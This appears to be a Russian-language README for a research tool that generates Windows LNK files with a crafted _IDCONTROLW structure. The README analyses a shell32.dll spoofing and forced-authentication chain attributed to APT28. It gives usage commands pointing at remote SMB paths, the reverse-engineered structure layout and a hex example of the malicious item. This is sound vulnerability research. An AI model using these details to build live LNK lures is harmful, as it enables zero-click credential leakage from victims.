
Генерирует LNK-файлы с особыми структурами _IDCONTROLW для исследования уязвимостей спуфинга оболочки Windows CVE-2026-21510 и CVE-2026-32202, включая обратную разработку внутренностей shell32.dll.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLWКонтекст исследования: анализ CVE-2026-21510 / CVE-2026-32202 (эксплойт-цепочка LNK от APT28).
На основе Akamai Security Research.
Цель: реконструировать внутреннюю структуру_IDCONTROLW, используемуюshell32.dllдля представления апплетов панели управления внутриLinkTargetIDList.
APT28 использовала уязвимость в Windows Shell (shell32.dll), создав вредоносный файл .lnk, содержащий LinkTargetIDList с UNC-путём, встроенным в недокументированную структуру _IDCONTROLW. Это приводило к тому, что explorer.exe инициировал SMB-подключение к серверу злоумышленника без взаимодействия с пользователем (zero-click).
Структура _IDCONTROLW не документирована ни в публичном Windows SDK, ни в публичных PDB-символах Microsoft для shell32.dll. В этом отчёте описана её реконструкция путём статического анализа в IDA Pro.
Согласно MS-SHLLINK, LinkTargetIDList содержит стандартный IDList — массив записей ItemID переменной длины, завершающийся 2-байтовым нулём.
В эксплойте APT28 IDList содержит ровно три элемента:
| Индекс | Содержимое |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — корень панели управления |
IDList[1] | Элемент CControlPanelCategoryFolder — «Все элементы панели управления» (категория 0) |
IDList[2] | _IDCONTROLW — запись апплета CPL со встроенным UNC-путём |
Это соответствует виртуальному пути:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{запись CPL}
Поскольку _IDCONTROLW отсутствует в публичных PDB-символах, реконструкция выполнялась путём трассировки цепочки вызовов в IDA Pro, начиная с CControlPanelFolder::GetUIObjectOf — функции, отвечающей за отображение элементов панели управления в Проводнике.
CControlPanelFolder::GetUIObjectOfКогда Проводник отображает папку, содержащую вредоносный LNK, он вызывает GetUIObjectOf для извлечения значка элемента CPL. Это запускает следующую цепочку:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW вызывается здесь (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← обнаруживает _IDCONTROLW
_IsUnicodeCPLWorker — проверка структурыconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
Это раскрывает маркер Unicode по смещению +0x0D = 0x6A.
CControlPanelFolder::GetModule — доступ к полям// Путь Unicode читается со смещения +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// Резервный вариант ANSI читается со смещения +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
Это подтверждает, что путь Unicode (ModulePath) начинается с +0x18.
_IDControlCreateW — построение структурыint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) в байтах
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // общий размер данных
v11 = ILCreate(v10 + 26); // выделение: данные + заголовок 0x1A
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// строки записываются по смещению +0x18
}
_IDCONTROLWstruct _IDCONTROLW {
WORD cb; // +0x00 размер всей структуры (включая сам cb)
WORD pad1; // +0x02 выравнивание, всегда 0
DWORD dwAppletID; // +0x04 идентификатор апплета (отрицательный для зарегистрированных CPL, например -201 = 0xFFFFFF37)
WORD pad2; // +0x08 всегда 0 (проверяется в _IsUnicodeCPLWorker)
WORD pad3; // +0x0A всегда 0 (проверяется в _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C всегда 0 (проверяется в _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — маркер Unicode CPL
WORD pad5; // +0x0E выравнивание
DWORD pad6; // +0x10 выравнивание
WORD cchModule; // +0x14 длина ModulePath в WCHAR (включая завершающий нуль)
WORD offName; // +0x16 смещение Name от начала data[] в WCHAR
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| Смещение | Размер | Поле | Значение / Примечания |
|---|---|---|---|
+0x00 | WORD | cb | Общий размер структуры |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | Идентификатор апплета (например, 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — проверяется в _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — проверяется в _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — проверяется в _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — маркер Unicode |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name следует сразу за ModulePath) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL и _IDCONTROLWВерсия ANSI (_IDCONTROL) создаётся функцией _IDControlCreateA и использует другую компоновку:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
Ключевые различия:
| Свойство | _IDCONTROL (ANSI) | _IDCONTROLW (Unicode) |
|---|---|---|
| Размер заголовка | 0x0C (12 байт) | 0x18 (24 байта) |
| Кодировка строк | ANSI (char) | UTF-16LE (WCHAR) |
| Маркер Unicode | отсутствует | +0x0D = 0x6A |
| Обнаружение | _IsUnicodeCPLWorker возвращает nullptr | возвращает указатель |
| Смещение начала пути | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
Тип 0x1F = корневой элемент оболочки с CLSID.
Реконструировано из CControlPanelCategoryFolder::CreateIDList:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // магический идентификатор
v5[2] = 0; // индекс категории = 0
Бинарное представление:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW с UNC-путёмПример с \\192.168.1.31\share\test.cpl:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
Цепочка уязвимости в непатченной версии:
Проводник отображает папку
→ CControlPanelFolder::GetUIObjectOf (запрос на извлечение значка)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← SMB-подключение инициируется ЗДЕСЬ
Патч Microsoft (CVE-2026-21510) ввёл ControlPanelLinkSite, который добавляет проверку SmartScreen через IVerifyingTrust::OnVerifyingTrust — но только на этапе ShellExecuteExW. Вызов PathFileExistsW в GetModuleMapped происходит раньше в цепочке и не был устранён, что оставило CVE-2026-32202 (принудительная аутентификация) неисправленной до последующего обновления.
Информация, представленная в этом репозитории, предназначена только для образовательных и информационных целей. Автор не поддерживает и не несёт ответственности за любое незаконное, вредоносное или неэтичное использование представленного материала. Обсуждаемые техники и концепции не должны применяться к системам или сетям без соответствующего разрешения. Автор не несёт ответственности за любой ущерб, юридические последствия или потери, возникшие в результате неправильного использования этой информации. Читателям рекомендуется соблюдать все применимые законы и нормативные акты, касающиеся практик кибербезопасности.